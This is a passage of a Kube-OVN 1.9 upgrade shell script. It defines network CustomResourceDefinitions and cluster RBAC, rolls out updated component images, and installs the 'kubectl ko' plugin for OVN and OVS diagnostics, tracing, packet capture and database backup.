activateGateway:\n type: string\n conditions:\n type: array\n items:\n type: object\n properties:\n type:\n type: string\n status:\n type: string\n reason:\n type: string\n message:\n type: string\n lastUpdateTime:\n type: string\n lastTransitionTime:\n type: string\n spec:\n type: object\n properties:\n vpc:\n type: string\n default:\n type: boolean\n protocol:\n type: string\n cidrBlock:\n type: string\n namespaces:\n type: array\n items:\n type: string\n gateway:\n type: string\n provider:\n type: string\n excludeIps:\n type: array\n items:\n type: string\n gatewayType:\n type: string\n allowSubnets:\n type: array\n items:\n type: string\n gatewayNode:\n type: string\n natOutgoing:\n type: boolean\n externalEgressGateway:\n type: string\n policyRoutingPriority:\n type: integer\n minimum: 1\n maximum: 32765\n policyRoutingTableID:\n type: integer\n minimum: 1\n maximum: 2147483647\n not:\n enum:\n - 252 # compat\n - 253 # default\n - 254 # main\n - 255 # local\n private:\n type: boolean\n vlan:\n type: string\n logicalGateway:\n type: boolean\n disableGatewayCheck:\n type: boolean\n disableInterConnection:\n type: boolean\n htbqos:\n type: string\n scope: Cluster\n names:\n plural: subnets\n singular: subnet\n kind: Subnet\n shortNames:\n - subnet\n---\napiVersion: apiextensions.k8s.io/v1\nkind: CustomResourceDefinition\nmetadata:\n name: vlans.kubeovn.io\nspec:\n group: kubeovn.io\n versions:\n - name: v1\n served: true\n storage: true\n schema:\n openAPIV3Schema:\n type: object\n properties:\n spec:\n type: object\n properties:\n id:\n type: integer\n minimum: 0\n maximum: 4095\n provider:\n type: string\n vlanId:\n type: integer\n description: Deprecated in favor of id\n providerInterfaceName:\n type: string\n description: Deprecated in favor of provider\n required:\n - provider\n status:\n type: object\n properties:\n subnets:\n type: array\n items:\n type: string\n additionalPrinterColumns:\n - name: ID\n type: string\n jsonPath: .spec.id\n - name: Provider\n type: string\n jsonPath: .spec.provider\n scope: Cluster\n names:\n plural: vlans\n singular: vlan\n kind: Vlan\n shortNames:\n - vlan\n---\napiVersion: apiextensions.k8s.io/v1\nkind: CustomResourceDefinition\nmetadata:\n name: provider-networks.kubeovn.io\nspec:\n group: kubeovn.io\n versions:\n - name: v1\n served: true\n storage: true\n schema:\n openAPIV3Schema:\n type: object\n properties:\n metadata:\n type: object\n properties:\n name:\n type: string\n maxLength: 12\n not:\n enum:\n - int\n - external\n spec:\n type: object\n properties:\n defaultInterface:\n type: string\n maxLength: 15\n pattern: '^[^/\\s]+$'\n customInterfaces:\n type: array\n items:\n type: object\n properties:\n interface:\n type: string\n maxLength: 15\n pattern: '^[^/\\s]+$'\n nodes:\n type: array\n items:\n type: string\n excludeNodes:\n type: array\n items:\n type: string\n required:\n - defaultInterface\n status:\n type: object\n properties:\n ready:\n type: boolean\n readyNodes:\n type: array\n items:\n type: string\n vlans:\n type: array\n items:\n type: string\n conditions:\n type: array\n items:\n type: object\n properties:\n node:\n type: string\n type:\n type: string\n status:\n type: string\n reason:\n type: string\n message:\n type: string\n lastUpdateTime:\n type: string\n lastTransitionTime:\n type: string\n additionalPrinterColumns:\n - name: DefaultInterface\n type: string\n jsonPath: .spec.defaultInterface\n - name: Ready\n type: boolean\n jsonPath: .status.ready\n scope: Cluster\n names:\n plural: provider-networks\n singular: provider-network\n kind: ProviderNetwork\n listKind: ProviderNetworkList\n---\napiVersion: apiextensions.k8s.io/v1\nkind: CustomResourceDefinition\nmetadata:\n name: security-groups.kubeovn.io\nspec:\n group: kubeovn.io\n names:\n plural: security-groups\n singular: security-group\n shortNames:\n - sg\n kind: SecurityGroup\n listKind: SecurityGroupList\n scope: Cluster\n versions:\n - name: v1\n served: true\n storage: true\n schema:\n openAPIV3Schema:\n type: object\n properties:\n spec:\n type: object\n properties:\n ingressRules:\n type: array\n items:\n type: object\n properties:\n ipVersion:\n type: string\n protocol:\n type: string\n priority:\n type: integer\n remoteType:\n type: string\n remoteAddress:\n type: string\n remoteSecurityGroup:\n type: string\n portRangeMin:\n type: integer\n portRangeMax:\n type: integer\n policy:\n type: string\n egressRules:\n type: array\n items:\n type: object\n properties:\n ipVersion:\n type: string\n protocol:\n type: string\n priority:\n type: integer\n remoteType:\n type: string\n remoteAddress:\n type: string\n remoteSecurityGroup:\n type: string\n portRangeMin:\n type: integer\n portRangeMax:\n type: integer\n policy:\n type: string\n allowSameGroupTraffic:\n type: boolean\n status:\n type: object\n properties:\n portGroup:\n type: string\n allowSameGroupTraffic:\n type: boolean\n ingressMd5:\n type: string\n egressMd5:\n type: string\n ingressLastSyncSuccess:\n type: boolean\n egressLastSyncSuccess:\n type: boolean\n subresources:\n status: {}\n conversion:\n strategy: None\n---\napiVersion: apiextensions.k8s.io/v1\nkind: CustomResourceDefinition\nmetadata:\n name: htbqoses.kubeovn.io\nspec:\n group: kubeovn.io\n versions:\n - name: v1\n served: true\n storage: true\n additionalPrinterColumns:\n - name: PRIORITY\n type: string\n jsonPath: .spec.priority\n schema:\n openAPIV3Schema:\n type: object\n properties:\n spec:\n type: object\n properties:\n priority:\n type: string\t\t\t\t\t# Value in range 0 to 4,294,967,295.\n scope: Cluster\n names:\n plural: htbqoses\n singular: htbqos\n kind: HtbQos\n shortNames:\n - htbqos\nEOF\n\nkubectl apply -f kube-ovn-crd-1.9.yaml\necho \"-------------------------------\"\necho \"\"\n\necho \"[Step 1/8] Update Cluster Role\"\n\ncat < kube-ovn-cluster-role-1.9.yaml\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n annotations:\n rbac.authorization.k8s.io/system-only: \"true\"\n name: system:ovn\nrules:\n - apiGroups: ['policy']\n resources: ['podsecuritypolicies']\n verbs: ['use']\n resourceNames:\n - kube-ovn\n - apiGroups:\n - \"kubeovn.io\"\n resources:\n - vpcs\n - vpcs/status\n - vpc-nat-gateways\n - subnets\n - subnets/status\n - ips\n - vlans\n - provider-networks\n - provider-networks/status\n - security-groups\n - security-groups/status\n - htbqoses\n verbs:\n - \"*\"\n - apiGroups:\n - \"\"\n resources:\n - pods\n - pods/exec\n - namespaces\n - nodes\n - configmaps\n verbs:\n - create\n - get\n - list\n - watch\n - patch\n - update\n - apiGroups:\n - \"\"\n - networking.k8s.io\n - apps\n - extensions\n resources:\n - networkpolicies\n - services\n - endpoints\n - statefulsets\n - daemonsets\n - deployments\n - deployments/scale\n verbs:\n - create\n - delete\n - update\n - patch\n - get\n - list\n - watch\n - apiGroups:\n - \"\"\n resources:\n - events\n verbs:\n - create\n - patch\n - update\n - apiGroups:\n - \"k8s.cni.cncf.io\"\n resources:\n - network-attachment-definitions\n verbs:\n - create\n - delete\n - get\n - list\n - update\n - apiGroups:\n - \"kubevirt.io\"\n resources:\n - virtualmachines\n - virtualmachineinstances\n verbs:\n - get\n - list\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n name: ovn\nroleRef:\n name: system:ovn\n kind: ClusterRole\n apiGroup: rbac.authorization.k8s.io\nsubjects:\n - kind: ServiceAccount\n name: ovn\n namespace: kube-system\nEOF\n\nkubectl apply -f kube-ovn-cluster-role-1.9.yaml\necho \"-------------------------------\"\necho \"\"\n\necho \"[Step 2/8] Update ovn-central\"\nkubectl set image deployment/ovn-central -n kube-system ovn-central=\"$IMAGE\"\nkubectl rollout status deployment/ovn-central -n kube-system\necho \"-------------------------------\"\necho \"\"\n\necho \"[Step 3/8] Update ovs-ovn\"\nkubectl set image ds/ovs-ovn -n kube-system openvswitch=\"$IMAGE\"\nkubectl delete pod -n kube-system -lapp=ovs\necho \"-------------------------------\"\necho \"\"\n\necho \"[Step 4/8] Update kube-ovn-controller\"\nkubectl set image deployment/kube-ovn-controller -n kube-system kube-ovn-controller=\"$IMAGE\"\nif [[ ! $(kubectl get deploy -n kube-system kube-ovn-controller -o jsonpath='{.spec.template.spec.containers[0].args}') =~ \"logtostderr\" ]]; then\n kubectl patch deploy/kube-ovn-controller -n kube-system --type='json' -p='[{\"op\": \"add\", \"path\": \"/spec/template/spec/containers/0/args/-\", \"value\": \"--logtostderr=false\"}, {\"op\": \"add\", \"path\": \"/spec/template/spec/containers/0/args/-\", \"value\": \"--alsologtostderr=true\"}, {\"op\": \"add\", \"path\": \"/spec/template/spec/containers/0/args/-\", \"value\": \"--log_file=/var/log/kube-ovn/kube-ovn-controller.log\"}, {\"op\": \"add\", \"path\": \"/spec/template/spec/containers/0/volumeMounts/-\", \"value\": {\"mountPath\": \"/var/log/kube-ovn\", \"name\": \"kube-ovn-log\"}}, {\"op\": \"add\", \"path\": \"/spec/template/spec/volumes/-\", \"value\": {\"hostPath\": {\"path\": \"/var/log/kube-ovn\"}, \"name\": \"kube-ovn-log\"}}]'\nfi\nkubectl patch deploy/kube-ovn-controller -n kube-system --type='json' -p='[{\"op\": \"replace\", \"path\": \"/spec/template/spec/containers/0/readinessProbe/exec/command\", \"value\": [\"/kube-ovn/kube-ovn-controller-healthcheck\"]}, {\"op\": \"replace\", \"path\": \"/spec/template/spec/containers/0/livenessProbe/exec/command\", \"value\": [\"/kube-ovn/kube-ovn-controller-healthcheck\"]}]'\nkubectl rollout status deployment/kube-ovn-controller -n kube-system\necho \"-------------------------------\"\necho \"\"\n\necho \"[Step 5/8] Update kube-ovn-cni\"\nkubectl set image ds/kube-ovn-cni -n kube-system cni-server=\"$IMAGE\"\nif [[ ! $(kubectl get ds -n kube-system kube-ovn-cni -o jsonpath='{.spec.template.spec.containers[0].args}') =~ \"logtostderr\" ]]; then\n kubectl patch ds/kube-ovn-cni -n kube-system --type='json' -p='[{\"op\": \"add\", \"path\": \"/spec/template/spec/containers/0/args/-\", \"value\": \"--logtostderr=false\"}, {\"op\": \"add\", \"path\": \"/spec/template/spec/containers/0/args/-\", \"value\": \"--alsologtostderr=true\"}, {\"op\": \"add\", \"path\": \"/spec/template/spec/containers/0/args/-\", \"value\": \"--log_file=/var/log/kube-ovn/kube-ovn-cni.log\"}, {\"op\": \"add\", \"path\": \"/spec/template/spec/containers/0/volumeMounts/-\", \"value\": {\"mountPath\": \"/var/log/kube-ovn\", \"name\": \"kube-ovn-log\"}}, {\"op\": \"add\", \"path\": \"/spec/template/spec/volumes/-\", \"value\": {\"hostPath\": {\"path\": \"/var/log/kube-ovn\"}, \"name\": \"kube-ovn-log\"}}]'\nfi\nkubectl rollout status daemonset/kube-ovn-cni -n kube-system\necho \"-------------------------------\"\necho \"\"\n\necho \"[Step 6/8] Update kube-ovn-pinger\"\nkubectl set image ds/kube-ovn-pinger -n kube-system pinger=\"$IMAGE\"\nkubectl rollout status daemonset/kube-ovn-pinger -n kube-system\necho \"-------------------------------\"\necho \"\"\n\necho \"[Step 7/8] Update kube-ovn-monitor\"\nkubectl set image deployment/kube-ovn-monitor -n kube-system kube-ovn-monitor=\"$IMAGE\"\nkubectl rollout status deployment/kube-ovn-monitor -n kube-system\necho \"-------------------------------\"\necho \"\"\n\necho \"[Step 8/8] Update kubectl ko plugin\"\nmkdir -p /usr/local/bin\ncat <<\\EOF > /usr/local/bin/kubectl-ko\n#!/bin/bash\nset -euo pipefail\n\nKUBE_OVN_NS=kube-system\nOVN_NB_POD=\nOVN_SB_POD=\nKUBE_OVN_VERSION=\nREGISTRY=\"kubeovn\"\n\nshowHelp(){\n echo \"kubectl ko {subcommand} [option...]\"\n echo \"Available Subcommands:\"\n echo \" [nb|sb] [status|kick|backup|dbstatus|restore] ovn-db operations show cluster status, kick stale server, backup database, get db consistency status or restore ovn nb db when met 'inconsistent data' error\"\n echo \" nbctl [ovn-nbctl options ...] invoke ovn-nbctl\"\n echo \" sbctl [ovn-sbctl options ...] invoke ovn-sbctl\"\n echo \" vsctl {nodeName} [ovs-vsctl options ...] invoke ovs-vsctl on the specified node\"\n echo \" ofctl {nodeName} [ovs-ofctl options ...] invoke ovs-ofctl on the specified node\"\n echo \" dpctl {nodeName} [ovs-dpctl options ...] invoke ovs-dpctl on the specified node\"\n echo \" appctl {nodeName} [ovs-appctl options ...] invoke ovs-appctl on the specified node\"\n echo \" tcpdump {namespace/podname} [tcpdump options ...] capture pod traffic\"\n echo \" trace {namespace/podname} {target ip address} {icmp|tcp|udp} [target tcp or udp port] trace ovn microflow of specific packet\"\n echo \" diagnose {all|node} [nodename] diagnose connectivity of all nodes or a specific node\"\n echo \" reload restart all kube-ovn components\"\n}\n\ntcpdump(){\n namespacedPod=\"$1\"; shift\n namespace=$(echo \"$namespacedPod\" | cut -d \"/\" -f1)\n podName=$(echo \"$namespacedPod\" | cut -d \"/\" -f2)\n if [ \"$podName\" = \"$namespacedPod\" ]; then\n namespace=\"default\"\n fi\n\n nodeName=$(kubectl get pod \"$podName\" -n \"$namespace\" -o jsonpath={.spec.nodeName})\n hostNetwork=$(kubectl get pod \"$podName\" -n \"$namespace\" -o jsonpath={.spec.hostNetwork})\n\n if [ -z \"$nodeName\" ]; then\n echo \"Pod $namespacedPod not exists on any node\"\n exit 1\n fi\n\n ovnCni=$(kubectl get pod -n $KUBE_OVN_NS -o wide| grep kube-ovn-cni| grep \" $nodeName \" | awk '{print $1}')\n if [ -z \"$ovnCni\" ]; then\n echo \"kube-ovn-cni not exist on node $nodeName\"\n exit 1\n fi\n\n if [ \"$hostNetwork\" = \"true\" ]; then\n set -x\n kubectl exec \"$ovnCni\" -n $KUBE_OVN_NS -- tcpdump -nn \"$@\"\n else\n nicName=$(kubectl exec \"$ovnCni\" -n $KUBE_OVN_NS -- ovs-vsctl --data=bare --no-heading --columns=name find interface external-ids:iface-id=\"$podName\".\"$namespace\" | tr -d '\\r')\n if [ -z \"$nicName\" ]; then\n echo \"nic doesn't exist on node $nodeName\"\n exit 1\n fi\n podNicType=$(kubectl get pod \"$podName\" -n \"$namespace\" -o jsonpath={.metadata.annotations.ovn\\\\.kubernetes\\\\.io/pod_nic_type})\n podNetNs=$(kubectl exec \"$ovnCni\" -n $KUBE_OVN_NS -- ovs-vsctl --data=bare --no-heading get interface \"$nicName\" external-ids:pod_netns | tr -d '\\r' | sed -e 's/^\"//' -e 's/\"$//')\n set -x\n if [ \"$podNicType\" = \"internal-port\" ]; then\n kubectl exec \"$ovnCni\" -n $KUBE_OVN_NS -- nsenter --net=\"$podNetNs\" tcpdump -nn -i \"$nicName\" \"$@\"\n else\n kubectl exec \"$ovnCni\" -n $KUBE_OVN_NS -- nsenter --net=\"$podNetNs\" tcpdump -nn -i eth0 \"$@\"\n fi\n fi\n}\n\ntrace(){\n namespacedPod=\"$1\"\n namespace=$(echo \"$1\" | cut -d \"/\" -f1)\n podName=$(echo \"$1\" | cut -d \"/\" -f2)\n if [ \"$podName\" = \"$1\" ]; then\n namespace=\"default\"\n fi\n\n dst=\"$2\"\n if [ -z \"$dst\" ]; then\n echo \"need a target ip address\"\n exit 1\n fi\n\n af=\"4\"\n nw=\"nw\"\n proto=\"\"\n if [[ \"$dst\" =~ .*:.* ]]; then\n af=\"6\"\n nw=\"ipv6\"\n proto=\"6\"\n fi\n\n hostNetwork=$(kubectl get pod \"$podName\" -n \"$namespace\" -o jsonpath={.spec.hostNetwork})\n if [ \"$hostNetwork\" = \"true\" ]; then\n echo \"Can not trace host network pod\"\n exit 1\n fi\n\n ls=$(kubectl get pod \"$podName\" -n \"$namespace\" -o jsonpath={.metadata.annotations.ovn\\\\.kubernetes\\\\.io/logical_switch})\n if [ -z \"$ls\" ]; then\n echo \"pod address not ready\"\n exit 1\n fi\n\n podIPs=($(kubectl get pod \"$podName\" -n \"$namespace\" -o jsonpath=\"{.status.podIPs[*].ip}\"))\n if [ ${#podIPs[@]} -eq 0 ]; then\n podIPs=($(kubectl get pod \"$podName\" -n \"$namespace\" -o jsonpath={.metadata.annotations.ovn\\\\.kubernetes\\\\.io/ip_address} | sed 's/,/ /g'))\n if [ ${#podIPs[@]} -eq 0 ]; then\n echo \"pod address not ready\"\n exit 1\n fi\n fi\n\n mac=$(kubectl get pod \"$podName\" -n \"$namespace\" -o jsonpath={.metadata.annotations.ovn\\\\.kubernetes\\\\.io/mac_address})\n nodeName=$(kubectl get pod \"$podName\" -n \"$namespace\" -o jsonpath={.spec.nodeName})\n\n podIP=\"\"\n for ip in ${podIPs[@]}; do\n if [ \"$af\" = \"4\" ]; then\n if [[ ! \"$ip\" =~ .*:.* ]]; then\n podIP=$ip\n break\n fi\n elif [[ \"$ip\" =~ .*:.* ]]; then\n podIP=$ip\n break\n fi\n done\n\n if [ -z \"$podIP\" ]; then\n echo \"Pod has no IPv$af address\"\n exit 1\n fi\n\n gwMac=\"\"\n vlan=$(kubectl get subnet \"$ls\" -o jsonpath={.spec.vlan})\n logicalGateway=$(kubectl get subnet \"$ls\" -o jsonpath={.spec.logicalGateway})\n if [ ! -z \"$vlan\" -a \"$logicalGateway\" != \"true\" ]; then\n gateway=$(kubectl get subnet \"$ls\" -o jsonpath={.spec.gateway})\n if [[ \"$gateway\" =~ .*,.* ]]; then\n if [ \"$af\" = \"4\" ]; then\n gateway=${gateway%%,*}\n else\n gateway=${gateway##*,}\n fi\n fi\n\n ovnCni=$(kubectl get pod -n $KUBE_OVN_NS -o wide | grep -w kube-ovn-cni | grep \" $nodeName \" | awk '{print $1}')\n if [ -z \"$ovnCni\" ]; then\n echo \"No kube-ovn-cni Pod running on node $nodeName\"\n exit 1\n fi\n\n nicName=$(kubectl exec \"$ovnCni\" -n $KUBE_OVN_NS -- ovs-vsctl --data=bare --no-heading --columns=name find interface external-ids:iface-id=\"$podName\".\"$namespace\" | tr -d '\\r')\n if [ -z \"$nicName\" ]; then\n echo \"nic doesn't exist on node $nodeName\"\n exit 1\n fi\n\n podNicType=$(kubectl get pod \"$podName\" -n \"$namespace\" -o jsonpath={.metadata.annotations.ovn\\\\.kubernetes\\\\.io/pod_nic_type})\n podNetNs=$(kubectl exec \"$ovnCni\" -n $KUBE_OVN_NS -- ovs-vsctl --data=bare --no-heading get interface \"$nicName\" external-ids:pod_netns | tr -d '\\r' | sed -e 's/^\"//' -e 's/\"$//')\n if [ \"$podNicType\" != \"internal-port\" ]; then\n nicName=\"eth0\"\n fi\n\n if [[ \"$gateway\" =~ .*:.* ]]; then\n cmd=\"ndisc6 -q $gateway $nicName\"\n output=$(kubectl exec \"$ovnCni\" -n $KUBE_OVN_NS -- nsenter --net=\"$podNetNs\" ndisc6 -q \"$gateway\" \"$nicName\")\n else\n cmd=\"arping -c3 -C1 -i1 -I $nicName $gateway\"\n output=$(kubectl exec \"$ovnCni\" -n $KUBE_OVN_NS -- nsenter --net=\"$podNetNs\" arping -c3 -C1 -i1 -I \"$nicName\" \"$gateway\")\n fi\n\n if [ $? -ne 0 ]; then\n echo \"failed to run '$cmd' in Pod's netns\"\n exit 1\n fi\n gwMac=$(echo \"$output\" | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}')\n else\n lr=$(kubectl get pod \"$podName\" -n \"$namespace\" -o jsonpath={.metadata.annotations.ovn\\\\.kubernetes\\\\.io/logical_router})\n if [ -z \"$lr\" ]; then\n lr=$(kubectl get subnet \"$ls\" -o jsonpath={.spec.vpc})\n fi\n gwMac=$(kubectl exec $OVN_NB_POD -n $KUBE_OVN_NS -c ovn-central -- ovn-nbctl --data=bare --no-heading --columns=mac find logical_router_port name=\"$lr\"-\"$ls\" | tr -d '\\r')\n fi\n\n if [ -z \"$gwMac\" ]; then\n echo \"get gw mac failed\"\n exit 1\n fi\n\n type=\"$3\"\n case $type in\n icmp)\n set -x\n kubectl exec \"$OVN_SB_POD\" -n $KUBE_OVN_NS -c ovn-central -- ovn-trace --ct=new \"$ls\" \"inport == \\\"$podName.$namespace\\\" && ip.ttl == 64 && icmp && eth.src == $mac && ip$af.src == $podIP && eth.dst == $gwMac && ip$af.dst == $dst\"\n ;;\n tcp|udp)\n set -x\n kubectl exec \"$OVN_SB_POD\" -n $KUBE_OVN_NS -c ovn-central -- ovn-trace --ct=new \"$ls\" \"inport == \\\"$podName.$namespace\\\" && ip.ttl == 64 && eth.src == $mac && ip$af.src == $podIP && eth.dst == $gwMac && ip$af.dst == $dst && $type.src == 10000 && $type.dst == $4\"\n ;;\n *)\n echo \"type $type not supported\"\n echo \"kubectl ko trace {namespace/podname} {target ip address} {icmp|tcp|udp} [target tcp or udp port]\"\n exit 1\n ;;\n esac\n\n set +x\n echo \"--------\"\n echo \"Start OVS Tracing\"\n echo \"\"\n echo \"\"\n\n ovsPod=$(kubectl get pod -n $KUBE_OVN_NS -o wide | grep \" $nodeName \" | grep ovs-ovn | awk '{print $1}')\n if [ -z \"$ovsPod\" ]; then\n echo \"ovs pod doesn't exist on node $nodeName\"\n exit 1\n fi\n\n inPort=$(kubectl exec \"$ovsPod\" -n $KUBE_OVN_NS -- ovs-vsctl --format=csv --data=bare --no-heading --columns=ofport find interface external_id:iface-id=\"$podName\".\"$namespace\")\n case $type in\n icmp)\n set -x\n kubectl exec \"$ovsPod\" -n $KUBE_OVN_NS -- ovs-appctl ofproto/trace br-int \"in_port=$inPort,icmp$proto,${nw}_src=$podIP,${nw}_dst=$dst,dl_src=$mac,dl_dst=$gwMac\"\n ;;\n tcp|udp)\n set -x\n kubectl exec \"$ovsPod\" -n $KUBE_OVN_NS -- ovs-appctl ofproto/trace br-int \"in_port=$inPort,$type$proto,${nw}_src=$podIP,${nw}_dst=$dst,dl_src=$mac,dl_dst=$gwMac,${type}_src=1000,${type}_dst=$4\"\n ;;\n *)\n echo \"type $type not supported\"\n echo \"kubectl ko trace {namespace/podname} {target ip address} {icmp|tcp|udp} [target tcp or udp port]\"\n exit 1\n ;;\n esac\n}\n\nxxctl(){\n subcommand=\"$1\"; shift\n nodeName=\"$1\"; shift\n kubectl get no \"$nodeName\" > /dev/null\n ovsPod=$(kubectl get pod -n $KUBE_OVN_NS -o wide | grep \" $nodeName \" | grep ovs-ovn | awk '{print $1}')\n if [ -z \"$ovsPod\" ]; then\n echo \"ovs pod doesn't exist on node $nodeName\"\n exit 1\n fi\n kubectl exec \"$ovsPod\" -n $KUBE_OVN_NS -- ovs-$subcommand \"$@\"\n}\n\ncheckLeader(){\n component=\"$1\"; shift\n count=$(kubectl get ep ovn-$component -n $KUBE_OVN_NS -o yaml | grep ip | wc -l)\n if [ $count -eq 0 ]; then\n echo \"no ovn-$component exists !!\"\n exit 1\n fi\n\n if [ $count -gt 1 ]; then\n echo \"ovn-$component has more than one leader !!\"\n exit 1\n fi\n\n echo \"ovn-$component leader check ok\"\n}\n\ndiagnose(){\n kubectl get crd vpcs.kubeovn.io\n kubectl get crd vpc-nat-gateways.kubeovn.io\n kubectl get crd subnets.kubeovn.io\n kubectl get crd ips.kubeovn.io\n kubectl get crd vlans.kubeovn.io\n kubectl get crd provider-networks.kubeovn.io\n set +eu\n if ! kubectl get svc kube-dns -n kube-system ; then\n echo \"Warning: kube-dns doesn't exist, maybe there is coredns service.\"\n fi\n set -eu\n kubectl get svc kubernetes -n default\n kubectl get sa -n kube-system ovn\n kubectl get clusterrole system:ovn\n kubectl get clusterrolebinding ovn\n\n kubectl get no -o wide\n kubectl ko nbctl show\n kubectl ko nbctl lr-policy-list ovn-cluster\n kubectl ko nbctl lr-route-list ovn-cluster\n kubectl ko nbctl ls-lb-list ovn-default\n kubectl ko nbctl list address_set\n kubectl ko nbctl list acl\n kubectl ko sbctl show\n\n checkKubeProxy\n checkDeployment ovn-central\n checkDeployment kube-ovn-controller\n checkDaemonSet kube-ovn-cni\n checkDaemonSet ovs-ovn\n checkDeployment coredns\n\n checkLeader nb\n checkLeader sb\n checkLeader northd\n\n type=\"$1\"\n case $type in\n all)\n echo \"### kube-ovn-controller recent log\"\n set +e\n kubectl logs -n $KUBE_OVN_NS -l app=kube-ovn-controller --tail=100 | grep E$(date +%m%d)\n set -e\n echo \"\"\n pingers=$(kubectl -n $KUBE_OVN_NS get po --no-headers -o custom-columns=NAME:.metadata.name -l app=kube-ovn-pinger)\n for pinger in $pingers\n do\n nodeName=$(kubectl get pod \"$pinger\" -n \"$KUBE_OVN_NS\" -o jsonpath={.spec.nodeName})\n echo \"### start to diagnose node $nodeName\"\n echo \"#### ovn-controller log:\"\n kubectl exec -n $KUBE_OVN_NS \"$pinger\" -- tail /var/log/ovn/ovn-controller.log\n echo \"\"\n echo \"#### ovs-vswitchd log:\"\n kubectl exec -n $KUBE_OVN_NS \"$pinger\" -- tail /var/log/openvswitch/ovs-vswitchd.log\n echo \"\"\n echo \"#### ovs-vsctl show results:\"\n kubectl exec -n $KUBE_OVN_NS \"$pinger\" -- ovs-vsctl show\n echo \"\"\n echo \"#### pinger diagnose results:\"\n kubectl exec -n $KUBE_OVN_NS \"$pinger\" -- /kube-ovn/kube-ovn-pinger --mode=job\n echo \"### finish diagnose node $nodeName\"\n echo \"\"\n done\n ;;\n node)\n nodeName=\"$2\"\n kubectl get no \"$nodeName\" > /dev/null\n pinger=$(kubectl -n $KUBE_OVN_NS get po -l app=kube-ovn-pinger -o 'jsonpath={.items[?(@.spec.nodeName==\"'$nodeName'\")].metadata.name}')\n if [ ! -n \"$pinger\" ]; then\n echo \"Error: No kube-ovn-pinger running on node $nodeName\"\n exit 1\n fi\n echo \"### start to diagnose node $nodeName\"\n echo \"#### ovn-controller log:\"\n kubectl exec -n $KUBE_OVN_NS \"$pinger\" -- tail /var/log/ovn/ovn-controller.log\n echo \"\"\n echo \"#### ovs-vswitchd log:\"\n kubectl exec -n $KUBE_OVN_NS \"$pinger\" -- tail /var/log/openvswitch/ovs-vswitchd.log\n echo \"\"\n kubectl exec -n $KUBE_OVN_NS \"$pinger\" -- /kube-ovn/kube-ovn-pinger --mode=job\n echo \"### finish diagnose node $nodeName\"\n echo \"\"\n ;;\n *)\n echo \"type $type not supported\"\n echo \"kubectl ko diagnose {all|node} [nodename]\"\n ;;\n esac\n}\n\ngetOvnCentralPod(){\n NB_POD=$(kubectl get pod -n $KUBE_OVN_NS -l ovn-nb-leader=true | grep ovn-central | head -n 1 | awk '{print $1}')\n if [ -z \"$NB_POD\" ]; then\n echo \"nb leader not exists\"\n exit 1\n fi\n OVN_NB_POD=$NB_POD\n SB_POD=$(kubectl get pod -n $KUBE_OVN_NS -l ovn-sb-leader=true | grep ovn-central | head -n 1 | awk '{print $1}')\n if [ -z \"$SB_POD\" ]; then\n echo \"nb leader not exists\"\n exit 1\n fi\n OVN_SB_POD=$SB_POD\n VERSION=$(kubectl -n kube-system get pods -l ovn-sb-leader=true -o yaml | grep \"image: $REGISTRY/kube-ovn:\" | head -n 1 | awk -F ':' '{print $3}')\n if [ -z \"$VERSION\" ]; then\n echo \"kubeovn version not exists\"\n exit 1\n fi\n KUBE_OVN_VERSION=$VERSION\n}\n\ncheckDaemonSet(){\n name=\"$1\"\n currentScheduled=$(kubectl get ds -n $KUBE_OVN_NS \"$name\" -o jsonpath={.status.currentNumberScheduled})\n desiredScheduled=$(kubectl get ds -n $KUBE_OVN_NS \"$name\" -o jsonpath={.status.desiredNumberScheduled})\n available=$(kubectl get ds -n $KUBE_OVN_NS \"$name\" -o jsonpath={.status.numberAvailable})\n ready=$(kubectl get ds -n $KUBE_OVN_NS \"$name\" -o jsonpath={.status.numberReady})\n if [ \"$currentScheduled\" = \"$desiredScheduled\" ] && [ \"$desiredScheduled\" = \"$available\" ] && [ \"$available\" = \"$ready\" ]; then\n echo \"ds $name ready\"\n else\n echo \"Error ds $name not ready\"\n exit 1\n fi\n}\n\ncheckDeployment(){\n name=\"$1\"\n ready=$(kubectl get deployment -n $KUBE_OVN_NS \"$name\" -o jsonpath={.status.readyReplicas})\n updated=$(kubectl get deployment -n $KUBE_OVN_NS \"$name\" -o jsonpath={.status.updatedReplicas})\n desire=$(kubectl get deployment -n $KUBE_OVN_NS \"$name\" -o jsonpath={.status.replicas})\n available=$(kubectl get deployment -n $KUBE_OVN_NS \"$name\" -o jsonpath={.status.availableReplicas})\n if [ \"$ready\" = \"$updated\" ] && [ \"$updated\" = \"$desire\" ] && [ \"$desire\" = \"$available\" ]; then\n echo \"deployment $name ready\"\n else\n echo \"Error deployment $name not ready\"\n exit 1\n fi\n}\n\ncheckKubeProxy(){\n dsMode=`kubectl get ds -n kube-system | grep kube-proxy || true`\n if [ -z \"$dsMode\" ]; then\n nodeIps=`kubectl get node -o wide | grep -v \"INTERNAL-IP\" | awk '{print $6}'`\n for node in $nodeIps\n do\n healthResult=`curl -g -6 -sL -w %{http_code} http://[$node]:10256/healthz -o /dev/null | grep -v 200 || true`\n if [ -n \"$healthResult\" ]; then\n echo \"$node kube-proxy's health check failed\"\n exit 1\n fi\n done\n else\n checkDaemonSet kube-proxy\n fi\n echo \"kube-proxy ready\"\n}\n\ndbtool(){\n suffix=$(date +%m%d%H%M%s)\n component=\"$1\"; shift\n action=\"$1\"; shift\n case $component in\n nb)\n case $action in\n status)\n kubectl exec \"$OVN_NB_POD\" -n $KUBE_OVN_NS -c ovn-central -- ovs-appctl -t /var/run/ovn/ovnnb_db.ctl cluster/status OVN_Northbound\n kubectl exec \"$OVN_NB_POD\" -n $KUBE_OVN_NS -c ovn-central -- ovs-appctl -t /var/run/ovn/ovnnb_db.ctl ovsdb-server/get-db-storage-status OVN_Northbound\n ;;\n kick)\n kubectl exec \"$OVN_NB_POD\" -n $KUBE_OVN_NS -c ovn-central -- ovs-appctl -t /var/run/ovn/ovnnb_db.ctl cluster/kick OVN_Northbound \"$1\"\n ;;\n backup)\n kubectl exec \"$OVN_NB_POD\" -n $KUBE_OVN_NS -c ovn-central -- ovsdb-tool cluster-to-standalone /etc/ovn/ovnnb_db.$suffix.backup /etc/ovn/ovnnb_db.db\n kubectl cp $KUBE_OVN_NS/$OVN_NB_POD:/etc/ovn/ovnnb_db.$suffix.backup $(pwd)/ovnnb_db.$suffix.backup\n kubectl exec \"$OVN_NB_POD\" -n $KUBE_OVN_NS -c ovn-central -- rm -f /etc/ovn/ovnnb_db.$suffix.backup\n 